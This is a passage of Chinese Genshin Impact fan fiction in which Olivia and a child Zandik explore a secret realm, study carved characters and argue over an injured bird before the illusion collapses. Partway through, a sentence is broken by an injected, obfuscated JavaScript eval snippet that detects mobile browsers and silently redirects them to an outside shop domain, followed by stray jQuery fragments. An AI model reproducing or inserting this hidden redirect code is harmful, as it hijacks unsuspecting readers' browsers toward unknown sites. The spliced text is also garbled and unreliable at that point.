奥莉维亚在火堆旁睡了一晚,实际上她并不清楚自己睡了多久,睁开眼依旧是一片浅金色的天空,分不清是白天还是晚上。

    意识逐渐回笼,她边伸懒腰边往山洞里边走,隔着一点距离,就已经能看见那道小小的身影盘腿坐在地上写写画画,看起来像是一直没休息,洞里的一切照旧。

    “早啊小奶片。”她掏出包里的一颗果子咬了一口,酸得掉牙,这是她在路上摘的。

    幼年赞迪克头都没抬,语调平淡:“秘境的东西一般都有剧毒。另外别那样叫我。”

    “剧毒!”她故作惊讶地瞪大双眼,随后快速把果子塞进他嘴里,“那你帮我试试毒。”

    他停下手里的动作,瞳仁霎时间放大,仰着脑袋盯着她,怒气在眼底缓慢升腾,他把果子扔到地上,倏地一下站起来,发现自己还没她半个高,气势瞬间下去大半。

    “我们很熟吗?”他冷声开口。

    奥莉维亚眨眨眼,一脸满不在乎的表情,晃悠着到了水潭边,“难道不熟?”

    “当然不,跟你熟的人是未来的我,至少现在我不想看见你,请你和我保持距离。”

    她捧起水清洗了一下脸,额角的发丝被水打湿,紧紧贴在脸上,那双赤色的眼瞳沾染上水看起来像是泪光在闪烁,她皱着眉回头盯着他,“昨天不是还说好今天要继续带我找字符吗?”

    “……”他觑见她水汪汪的眸子,心里那股子别扭忽然淡下去,“想继续看就不要乱说话,昨天你看到的只是一部分,那边还有。”

    奥莉维亚随手擦了把脸,重新扬起一抹笑容,嗓音欢脱:“那走吧,你带路。”

    “你自己去看比较好。”赞迪克顿了顿说。

    “什么叫自己去看比较好?”她以为他还在闹脾气,刚想示弱求和。

    “因为我自己也拿不准。”他说这话的时候语气很平静,但奥莉维亚注意到他的手指在身侧微微蜷了下,“我刻的时候没有参照物,可能是错的。”

    奥莉维亚闻言愣住,心里好似被什么东西轻轻撞了一下,有一种说不上来的感觉。

    她故意大咧咧地碰了碰他的头顶,并未真正触碰到他的发丝,怕他又炸毛,“没事,错了就改呗,你昨天不也是这么教我的吗?”

    原来他也会有对自己失去信心的时候,这个小屁孩。

    他侧身躲开她的手,垂着脑袋不知道在想什么,最后说了句:“…走吧。”

    而后两人来到了另一侧的石室,空间更窄更小,更像是一个不规则的缝隙被某种力量撕裂开来的场所。墙壁上的刻字明显比那边的更加潦草,字符之间的间距也不均匀,有些地方甚至能看出被人反复刻划又凿掉重写的痕迹。

    奥莉维亚蹲下来仔细辨认了下,说实话她也看不出其他区别了,只能一遍又一遍地抚摸,回头问了句:“这些是你最早刻的吗?”

    他站在洞口没踏进来,也不知道在防着谁,“嗯,那时候刚捡到第一块碎片,照着上面刻的,后来发现刻错了,就换了地方。”

    “那你为什么没把这里凿掉?”

    他罕见地陷入沉默,“留着,可以知道自己哪里错了。”

    出人意料的,并且非常成熟的答案,就像是赞迪克本人会说的话。她忽然想明白了一件事,那就是他从小到大都在做同一件事,把自己犯过的错保存下来,然后证明自己是对的。

    奥莉维亚静默了片刻,没再说什么,转回去又开始用留影机拍照。

    全部完成之后,她起身往外走,忽地听到洞口传来一阵细微的动静,好似是什么东西在挣扎,等她循着声音走过去,才发现赞迪克也在这里,他蹲在几步外的灌木丛边。

    走近看,地上躺着一只受伤的鸟,翅膀被折断了,羽毛四处零落,它正急促地发颤。

    赞迪克听到她的脚步声,神情淡漠地盯着那只鸟,声音毫无情绪:“它受伤了。”

    “我看见了,所以你要救它吗?”奥莉维亚有些疑惑这种地方怎么会有一只鸟。

    他没有动,自始至终都在安静地注视着那只鸟,目光落在它沾着血迹的翅膀上,没多久他伸手碰了一下鸟的翅膀,那只鸟剧烈地瑟缩了下,躺在地上发出濒死的哀鸣。

    “你在干什么?”奥莉维亚拧着眉头,突然发觉他的动作不太对劲。

    “它快死了。”赞迪克收回手,冷脸旁观着这一幕,仿佛不是他让这只鸟更加痛苦,“我想知道它在这种状态下,还能坚持多久。”

    她撇撇嘴,看着他脸上平静得近乎空白的表情,那只鸟还在颤抖,可他的眼神里完全没有要解救它的意思,这一刻他主宰着它的生命,然而他更像是在记录一个正在发生变化的过程,并且他展现出了前所未有的耐心,耐心地等待数据积累。

    这个薄荷鸡果然是个异类。

    她忍不住想起离开须弥城之前的那个夜晚,将她搂抱在怀里的那个人,和眼前八岁就对生命漠视的这个人,真的是一个人?

    像这样的人,心里真的会对她产生真正的爱吗,这听上去可笑又荒诞。

    “赞迪克。”她出声打断了他的观察。

    他抬头看她,“你想救它吗?”

    迟钝了片刻,他又接着说:“救它意味着干涉他的自然结局,毕竟它伤成这样,就算现在活着,也撑不过两天。观察它还能挣扎多久,比耗费精力去改变一个注定会发生的结局更有意思,不是吗?”

    她的瞳孔倒映出幼年赞迪克平静的眸子,这些话让奥莉维亚蓦地想起一件事情,这个八岁的孩子已经丢失了某种东西,对痛苦的共鸣能力。他能够理解“疼痛”这个概念,但他感觉不到那份疼。

    那个她后来认识的多托雷,不是被教令院、被驱逐、被实验塑造出来的,是从很早以前就开始磨损了。这才是注定会发生的事。

    八岁的他就已经失去了同情心。

    奥莉维亚默默蹲下身,用一块干净的布将那只鸟捧起来裹好,简单处理了一下伤口止血,做完这些事就站起来拍了拍手。

    “走吧,还有很多事没有做。”

    他歪了歪头表示不解:“你为什么要这样做,救了它也活不了,还浪费了八分钟。”

    怎么跟他解

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874680|212345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    释呢?他没有人性没有同情心,不代表其他人都没有,更何况她还需要在乎这八分钟吗,她的人生已经浪费了不知道多少个八分钟了!

    “你这个邪恶小奶片。”她小声嘀咕,随即看向他,“你以后要是这样对我,我真的会揍你。”

    “你打不过我。”

    “你才几岁你哪来的自信!不过就算你武力值比我高,但你肯定会在其他方面输给我。”

    两人一路斗嘴回到了石室,重新整理起那些刻字,看得她头晕目眩。

    能不能别逼傻子读书了!

    忙活了大半天,奥莉维亚看了下留影机都快爆炸了,才摆了摆手喊停,累得趴在石头上打哈欠,眼泪都快出来了。

    赞迪克看着她,表情一言难尽:“你毕业真的很悬。”

    “你快闭嘴吧,别咒我。”

    “…未来的我也像这样督促你的学业?不会觉得很浪费时间?”

    奥莉维亚嘴角又掀起一股逗弄的笑意,干起坏事她可就腰不酸腿不疼了,“以后的你可没有你这么不耐烦,那可是相当贴心。所以你以后要是遇到一个让你有耐心的人,你要记得抓住她。”

    “你不要说话故作高深。”

    “我在教你谈恋爱。”

    “我不需要一个毕业都成问题的人教我。”

    “……你再说一遍!”

    两人又无端端吵起架来,每次结果都是奥莉维亚被他呛得哑口无言。

    然而就在她以为这一天也会这样平静地结束的时候,脚下忽然传来一阵猛烈的震动。

    起初很轻微,她以为是自己的幻觉,但下一秒整间石室的墙壁开始剧烈晃动,那些刻在上面的字符边缘裂开细密的纹路,浅金色的光芒从裂缝中涌出来,像是什么东西在崩裂的边缘。

    奥莉维亚坐起身,看了眼赞迪克的方向,却看见他的身体正在以肉眼难以捕捉的速度消失,逐渐变得透明。

    幻象要消失了。

    不知怎么,她心里总觉得有一块地方堵着,或许是相处了几天有些许感情,就这么眼睁睁看着他在眼前彻底消散,她眼前渐渐模糊起来。

    “赞迪克!”

    一阵晕眩感袭来,就像是她被传送进秘境的时候那样,眼前的白光吞没了一切。

    不知过了多久,奥莉维亚才勉强睁开眼,头顶是潮湿的,长满青苔的石壁,身下的石板地面硌得她的后背生疼。

    她躺在秘境的入口处,背包在她手边,留影机也完好无损。

    感觉身边有一股让人不得不注意的视线在盯着自己,她扭了下脖子,转头看过去。

    薄荷色的发丝看起来比秘境里长了些许,卷卷的一根毛发翘在头顶,垂着眼皮,正在盯着看她的眼神没什么情绪,只是眉头微微皱着,确认她醒过来之后才移开目光。

    奥莉维亚一时间有些反应不过来,脑子里一片混沌,秘境里发生的那些事在眼前晃来晃去,最清晰的还是那道小小的身影蹲在水潭边的情景,她盯着面前这张熟悉又陌生的脸,盯着看了许久。

    “…你怎么一下子长这么大了?”